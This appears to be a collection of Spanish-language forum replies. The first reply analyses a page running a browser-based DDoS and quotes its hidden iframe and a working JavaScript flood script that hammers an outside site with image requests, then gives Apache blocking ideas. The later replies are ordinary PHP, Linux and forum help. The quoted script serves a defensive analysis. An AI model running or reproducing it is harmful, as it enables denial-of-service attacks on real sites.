Efectivamente esa pagina esta llevando acabo un DDOS.

view-source:http://boombang.me/esp/cliente.php

<iframe src='ddosputo.php' height='0' width='0' style="borders: none; display: none"></iframe>

La cual tiene:

<meta http-equiv="refresh" content="60;URL=ddosputo.php">

<script type="text/javascript">
			function random() {
				var count = 0;
				var result = "";
				var length = Math.Floor(Math.Random() * 100);
				var chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz";
 
				for (var i = 0; i < length; i++) {
					var num = Math.Floor(Math.Random() * chars.length);
					result = result + chars.substring(num, num + 1);
				}
 
				return result;
			}
 
			(function () { 
				var fireInterval; 
				var requestsHT = {};
				var isFiring = true;
				var targetURL = "http://boomkong.tk"
				var requestedCtr = 0, succeededCtr = 0, failedCtr = 0;
 
				var makeHttpRequest = function () {
 
				if (requestedCtr > failedCtr + succeededCtr + 1000) {  return; };
 
				var rID = Number(new Date()); var img = new Image();
				img.onerror = function () { onFail(rID); };
				img.onabort = function () { onFail(rID); };
				img.onload = function () { onSuccess(rID); };
 
				img.setAttribute("src", targetURL + "?id=" + rID + "&msg=robandocreditosokase-lol");
				requestsHT[rID] = img;  onRequest(rID);
				};
 
				var onRequest = function (rID) { requestedCtr++; };
				var onComplete = function (rID) { delete requestsHT[rID]; };
				var onFail = function (rID) { succeededCtr++; delete requestsHT[rID]; };
				var onSuccess = function (rID) { succeededCtr++; delete requestsHT[rID]; };
 
				isFiring = true; 
				fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(200) | 0));
			})();
		</script>

Pero no parece que estén atacando a tu foro.. o al menos no en este momento.

---

Defenderte de ese ataque.. no he probado pero puedes hacer que Apache niegue o redireccione a todo el que tenga de referer esa pagina (boombang.me). También puedes agregar una excepción que niegue o redireccione si la url contiene msg=robandocreditos (un mensaje gracioso que deja el atacante xD).

Al fin y al cabo lo que hacen es crear imágenes (miles xD) con ruta el sitio al que atacan.

Slaudos

gNewSense igual funciona porque incluye varios interpretes java (jdownloader es java) libres.. pero igual no. Es que entras en un conflicto bastante gordo.

Esas distros estan libres de cualquier software/firmware privativo. Java es privativo.

Saludos

Malwarebytes tienen un anti-rootkit en fase beta.
http://www.malwarebytes.org/antirootkit/

Saludos

¿Que tienes hecho?

Saludos

Yo es que esas cosas no me las tomo a broma... luego cuando los hosts se pasen a 5.5 inundaran el foro a preguntas de porque no funciona mysql_*..

En fin.. 

Saludos

El tema ha sido borrado y esta en la Papelera. La papelera es accesible solo a ciertos rangos (colaboradores, mod global, coadmin y admin) y por tanto los usuarios no pueden ver los posts que haya ahí (están fuera de sus limites).

Para dudas sobre el foro te recomiendo

Sugerencias y dudas sobre el Foro
http://foro.elhacker.net/sugerencias_y_dudas_sobre_el_foro-b10.0/

Que es donde se responden este tipo de preguntas.

Saludos

De dramático nada, PDO esta desde 5.1 y mysqli desde 5.0 .. son mejores y están siendo mejoradas.. mysql ha pasado a estar en fase de mantenimiento (no habrá mas mejoras solo mantenimiento). Y, PHP 5.5 ya esta mas que disponible para Win y Linux.. que los repositorios de las distros no estén actualizadas es otro problema



Saludos

Como hay que decirlo...

NO UTILIZAR MYSQL, ESTA OBSOLETA. USAD MYSQLI o PDO.

http://www.php.net/manual/en/intro.mysql.php

Saludos

Puedes desactivar la verificiacion SSL pero te expones a ataques MiTM...

 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

Lo suyo seria descargar una lista actualizada de certificados (ya que los que vienen con cURL estan mas que obsoletos (y por eso te tira el error)..

http://curl.haxx.se/ca/cacert.pem

Lo descargas, lo metes donde tu .php o en algún directorio relativo y pones

curl_setopt ($ch, CURLOPT_CAINFO, 'cacert.pem');

Saludos

Ese es un problema bastante gordo que hay en gnu/linux y flash en general.. al parecer flash no tiene ningún control sobre el screenserver y hay que recurrir a scripts de terceros..
https://github.com/iye/lightsOn
Otras soluciones:
http://www.webupd8.org/2012/05/2-ways-to-temporarily-disable.html

Lo segundo lo que te ha dicho Aberroncho, pero te estas exponiendo a un riesgo muy grande.

Saludos